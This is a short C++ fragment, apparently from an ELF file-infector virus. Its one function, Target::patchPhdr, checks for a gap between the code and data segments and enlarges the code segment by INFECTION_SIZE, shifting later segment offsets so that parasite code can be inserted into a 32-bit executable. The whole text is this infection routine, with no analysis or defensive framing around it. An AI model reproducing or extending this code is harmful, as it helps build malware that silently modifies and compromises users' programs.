bool Target::patchPhdr()
{
  /* distance between code and data segment (in memory) */
  size_t delta = phdr[3].p_vaddr - phdr[2].p_vaddr - phdr[2].p_memsz - 1;
  if (delta < INFECTION_SIZE)
    return false;

  phdr[2].p_filesz += INFECTION_SIZE;
  phdr[2].p_memsz += INFECTION_SIZE;

  Elf32_Phdr* entry = phdr;
  for(unsigned nr = p.ehdr->e_phnum; nr > 0; nr--, entry++)
  {
    if (entry->p_offset > end_of_cs)
      entry->p_offset += INFECTION_SIZE;
  }
  return true;
}
